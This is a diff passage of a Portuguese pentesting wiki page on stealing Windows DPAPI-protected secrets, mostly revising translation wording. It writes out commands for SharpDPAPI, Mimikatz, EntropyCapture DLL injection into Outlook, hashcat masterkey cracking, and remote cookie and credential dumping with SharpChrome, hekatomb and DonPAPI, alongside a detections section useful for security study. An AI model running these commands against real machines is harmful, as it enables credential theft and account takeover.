Além disso, essas funções também aceitam um **parâmetro `entropy`** que será usado durante a criptografia e descriptografia; portanto, para descriptografar algo criptografado usando esse parâmetro, você deve fornecer o mesmo valor de entropia que foi usado durante a criptografia.
### Geração de chave dos usuários
@ -134,7 +134,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados pelo DPAPI no sistema de arquivos, registro e blobs B64:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados DPAPI no sistema de arquivos, registro e blobs B64:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
A ferramenta **SharpDPAPI** também suporta esses argumentos para decriptação de masterkey (note como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada do domínio DPAPI...):
A ferramenta **SharpDPAPI** também suporta esses argumentos para a descriptografia da chave mestra (note como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada do domínio DPAPI...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -234,7 +234,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Alguns aplicativos passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor, o blob não pode ser descriptografado, mesmo que a chave mestra correta seja conhecida. Obter a entropia é, portanto, essencial ao direcionar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo de usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar o EntropyCapture em modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` gerará um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode ser fornecida posteriormente ao **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) para descriptografar os dados. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo de usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar o EntropyCapture em modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` gerará um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode ser fornecida posteriormente ao **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Quebrando masterkeys offline (Hashcat & DPAPISnoop)
A Microsoft introduziu um formato de masterkey **contexto 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (Dezembro de 2023) adicionou modos de hash **22100** (DPAPI masterkey v1 contexto), **22101** (contexto 1) e **22102** (contexto 3), permitindo a quebra acelerada por GPU de senhas de usuários diretamente do arquivo masterkey. Os atacantes podem, portanto, realizar ataques de lista de palavras ou força bruta sem interagir com o sistema alvo. citeturn8search1
A Microsoft introduziu um formato de masterkey **contexto 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (dezembro de 2023) adicionou modos de hash **22100** (DPAPI masterkey v1 contexto), **22101** (contexto 1) e **22102** (contexto 3), permitindo a quebra acelerada por GPU de senhas de usuários diretamente do arquivo masterkey. Os atacantes podem, portanto, realizar ataques de lista de palavras ou força bruta sem interagir com o sistema alvo.
`DPAPISnoop` (2024) automatiza o processo:
```bash
@ -256,7 +256,7 @@ A ferramenta também pode analisar blobs de Credenciais e Cofres, descriptograf
### Acessar dados de outra máquina
No **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa ser capaz de acessar essa máquina e no exemplo a seguir supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
No **SharpDPAPI e SharpChrome**, você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa ser capaz de acessar essa máquina e no exemplo a seguir supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -269,46 +269,44 @@ SharpChrome cookies /server:HOST /pvk:BASE64
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Com a lista de computadores extraída do LDAP, você pode encontrar cada sub-rede, mesmo que não as conhecesse!
Com a lista de computadores extraída do LDAP, você pode encontrar cada sub-rede, mesmo que não soubesse delas!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode despejar segredos protegidos por DPAPI automaticamente. A versão 2.x introduziu:
* Coleta paralela de blobs de centenas de hosts
* Análise de chaves mestres **contexto 3** e integração automática de cracking com Hashcat
* Análise de **contexto 3** masterkeys e integração automática de cracking com Hashcat
* Suporte para cookies criptografados "App-Bound" do Chrome (veja a próxima seção)
* Um novo modo **`--snapshot`** para consultar repetidamente os endpoints e diferenciar blobs recém-criados citeturn1search2
* Um novo modo **`--snapshot`** para consultar repetidamente os endpoints e diferenciar blobs recém-criados
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser C# para arquivos de chave mestre/credencial/cofre que pode gerar formatos Hashcat/JtR e, opcionalmente, invocar cracking automaticamente. Ele suporta totalmente os formatos de chave mestre de máquina e usuário até o Windows 11 24H1. citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos de masterkey/credential/vault que pode gerar formatos Hashcat/JtR e, opcionalmente, invocar o cracking automaticamente. Ele suporta totalmente os formatos de masterkey de máquina e usuário até o Windows 11 24H1.
## Detecções comuns
- Acesso a arquivos em `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` e outros diretórios relacionados ao DPAPI.
- Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**.
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou despejar chaves mestres.
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou despejar masterkeys.
- Evento **4662**: *Uma operação foi realizada em um objeto* pode ser correlacionado com o acesso ao objeto **`BCKUPKEY`**.
- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Gerenciador de Credenciais)
- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### Vulnerabilidades de 2023-2025 e mudanças no ecossistema
* **CVE-2023-36004 Spoofing de Canal Seguro do Windows DPAPI** (Novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de chaves mestres de usuário. Corrigido na atualização cumulativa de novembro de 2023 os administradores devem garantir que os DCs e estações de trabalho estejam totalmente corrigidos. citeturn4search0
* **Criptografia de cookie "App-Bound" do Chrome 127** (Julho de 2024) substituiu a proteção DPAPI apenas legada por uma chave adicional armazenada sob o **Gerenciador de Credenciais** do usuário. A descriptografia offline de cookies agora requer tanto a chave mestre DPAPI quanto a **chave app-bound envolta em GCM**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra ao serem executados com o contexto do usuário. citeturn0search0
* **CVE-2023-36004 Spoofing de Canal Seguro do Windows DPAPI** (Novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 os administradores devem garantir que os DCs e estações de trabalho estejam totalmente corrigidos.
* **Criptografia de cookie "App-Bound" do Chrome 127** (Julho de 2024) substituiu a proteção DPAPI apenas legada por uma chave adicional armazenada sob o **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto a masterkey DPAPI quanto a **chave app-bound envolta em GCM**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra ao serem executados com o contexto do usuário.
## Referências
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}